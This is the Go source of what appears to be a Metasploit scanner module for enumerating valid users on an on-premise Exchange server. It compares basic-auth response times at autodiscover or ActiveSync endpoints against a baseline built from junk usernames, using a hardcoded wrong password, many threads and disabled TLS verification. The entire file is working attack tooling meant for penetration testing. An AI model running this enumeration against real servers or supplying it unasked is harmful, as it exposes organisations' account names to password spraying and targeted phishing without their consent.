179 lines
5.6 KiB
Go
Executable File
179 lines
5.6 KiB
Go
Executable File
//usr/bin/env go run "$0" "$@"; exit "$?"
|
|
|
|
package main
|
|
|
|
import (
|
|
"crypto/tls"
|
|
"metasploit/module"
|
|
"msmail"
|
|
"net/http"
|
|
"sort"
|
|
"strconv"
|
|
"sync"
|
|
"time"
|
|
)
|
|
|
|
func main() {
|
|
metadata := &module.Metadata{
|
|
Name: "On premise user enumeration",
|
|
Description: "On premise enumeration of valid exchange users",
|
|
Authors: []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"},
|
|
Date: "2018-11-06",
|
|
Type: "single_scanner",
|
|
Privileged: false,
|
|
References: []module.Reference{},
|
|
Options: map[string]module.Option{
|
|
"USERNAME": {Type: "string", Description: "Single user name to do identity test against", Required: false, Default: ""},
|
|
"USER_FILE": {Type: "string", Description: "Path to file containing list of users", Required: false, Default: ""},
|
|
}}
|
|
|
|
module.Init(metadata, run_onprem_enum)
|
|
}
|
|
|
|
func run_onprem_enum(params map[string]interface{}) {
|
|
userFile := params["USER_FILE"].(string)
|
|
userName := params["USERNAME"].(string)
|
|
host := params["rhost"].(string)
|
|
threads, e := strconv.Atoi(params["THREADS"].(string))
|
|
if e != nil {
|
|
module.LogError("Unable to parse 'Threads' value using default (5)")
|
|
threads = 5
|
|
}
|
|
|
|
if threads > 100 {
|
|
module.LogInfo("Threads value too large, setting max(100)")
|
|
threads = 100
|
|
}
|
|
|
|
if userFile == "" && userName == "" {
|
|
module.LogError("Expected 'USER_FILE' or 'USERNAME' field to be populated")
|
|
return
|
|
}
|
|
|
|
var validUsers []string
|
|
avgResponse := basicAuthAvgTime(host)
|
|
if userFile != "" {
|
|
validUsers = determineValidUsers(host, avgResponse, msmail.ImportUserList(userFile), threads)
|
|
} else {
|
|
validUsers = determineValidUsers(host, avgResponse, []string{userName}, threads)
|
|
}
|
|
|
|
msmail.ReportValidUsers(host, validUsers)
|
|
}
|
|
|
|
func determineValidUsers(host string, avgResponse time.Duration, userlist []string, threads int) []string {
|
|
limit := threads
|
|
var wg sync.WaitGroup
|
|
queue := make(chan string)
|
|
|
|
/*Keep in mind you, nothing has been added to handle successful auths
|
|
so the password for auth attempts has been hardcoded to something
|
|
that is not likely to be correct.
|
|
*/
|
|
pass := "Summer2018978"
|
|
internaldomain := msmail.HarvestInternalDomain(host, false)
|
|
url1 := "https://" + host + "/autodiscover/autodiscover.xml"
|
|
url2 := "https://" + host + "/Microsoft-Server-ActiveSync"
|
|
url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
|
|
var urlToHarvest string
|
|
if msmail.WebRequestCodeResponse(url1) == 401 {
|
|
urlToHarvest = url1
|
|
} else if msmail.WebRequestCodeResponse(url2) == 401 {
|
|
urlToHarvest = url2
|
|
} else if msmail.WebRequestCodeResponse(url3) == 401 {
|
|
urlToHarvest = url3
|
|
} else {
|
|
module.LogInfo("Unable to resolve host provided to determine valid users.")
|
|
return []string{}
|
|
}
|
|
var validusers []string
|
|
tr := &http.Transport{
|
|
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
|
}
|
|
for i := 0; i < limit; i++ {
|
|
wg.Add(1)
|
|
go func(i int) {
|
|
defer wg.Done()
|
|
for user := range queue {
|
|
startTime := time.Now()
|
|
msmail.WebRequestBasicAuth(urlToHarvest, internaldomain+"\\"+user, pass, tr)
|
|
elapsedTime := time.Since(startTime)
|
|
|
|
if float64(elapsedTime) < float64(avgResponse)*0.77 {
|
|
module.LogGood(user + " - " + elapsedTime.String())
|
|
validusers = append(validusers, user)
|
|
} else {
|
|
module.LogError(user + " - " + elapsedTime.String())
|
|
}
|
|
}
|
|
}(i)
|
|
}
|
|
|
|
for i := 0; i < len(userlist); i++ {
|
|
queue <- userlist[i]
|
|
}
|
|
|
|
close(queue)
|
|
wg.Wait()
|
|
return validusers
|
|
}
|
|
|
|
func basicAuthAvgTime(host string) time.Duration {
|
|
internaldomain := msmail.HarvestInternalDomain(host, false)
|
|
url1 := "https://" + host + "/autodiscover/autodiscover.xml"
|
|
url2 := "https://" + host + "/Microsoft-Server-ActiveSync"
|
|
url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
|
|
var urlToHarvest string
|
|
if msmail.WebRequestCodeResponse(url1) == 401 {
|
|
urlToHarvest = url1
|
|
} else if msmail.WebRequestCodeResponse(url2) == 401 {
|
|
urlToHarvest = url2
|
|
} else if msmail.WebRequestCodeResponse(url3) == 401 {
|
|
urlToHarvest = url3
|
|
} else {
|
|
module.LogInfo("Unable to resolve host provided to determine valid users.")
|
|
return -1
|
|
}
|
|
|
|
//We are determining sample auth response time for invalid users, the password used is irrelevant.
|
|
pass := "Summer201823904"
|
|
tr := &http.Transport{
|
|
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
|
}
|
|
module.LogInfo("Collecting sample auth times...")
|
|
|
|
var sliceOfTimes []float64
|
|
var medianTime float64
|
|
|
|
usernamelist := []string{"sdfsdskljdfhkljhf", "ssdlfkjhgkjhdfsdfw", "sdfsdfdsfff", "sefsefsefsss", "lkjhlkjhiuyoiuy", "khiuoiuhohuio", "s2222dfs45g45gdf", "sdfseddf3333"}
|
|
for i := 0; i < len(usernamelist)-1; i++ {
|
|
startTime := time.Now()
|
|
msmail.WebRequestBasicAuth(urlToHarvest, internaldomain+"\\"+usernamelist[i], pass, tr)
|
|
elapsedTime := time.Since(startTime)
|
|
if elapsedTime > time.Second*15 {
|
|
module.LogInfo("Response taking longer than 15 seconds, setting time:")
|
|
module.LogInfo("Avg Response: " + time.Duration(elapsedTime).String())
|
|
return time.Duration(elapsedTime)
|
|
}
|
|
if i != 0 {
|
|
module.LogInfo(elapsedTime.String())
|
|
sliceOfTimes = append(sliceOfTimes, float64(elapsedTime))
|
|
}
|
|
}
|
|
sort.Float64s(sliceOfTimes)
|
|
if len(sliceOfTimes)%2 == 0 {
|
|
positionOne := len(sliceOfTimes)/2 - 1
|
|
positionTwo := len(sliceOfTimes) / 2
|
|
medianTime = (sliceOfTimes[positionTwo] + sliceOfTimes[positionOne]) / 2
|
|
} else if len(sliceOfTimes)%2 != 0 {
|
|
position := len(sliceOfTimes)/2 - 1
|
|
medianTime = sliceOfTimes[position]
|
|
} else {
|
|
module.LogError("Error determining whether length of times gathered is even or odd to obtain median value.")
|
|
}
|
|
module.LogInfo("Avg Response: " + time.Duration(medianTime).String())
|
|
return time.Duration(medianTime)
|
|
}
|
|
|
|
|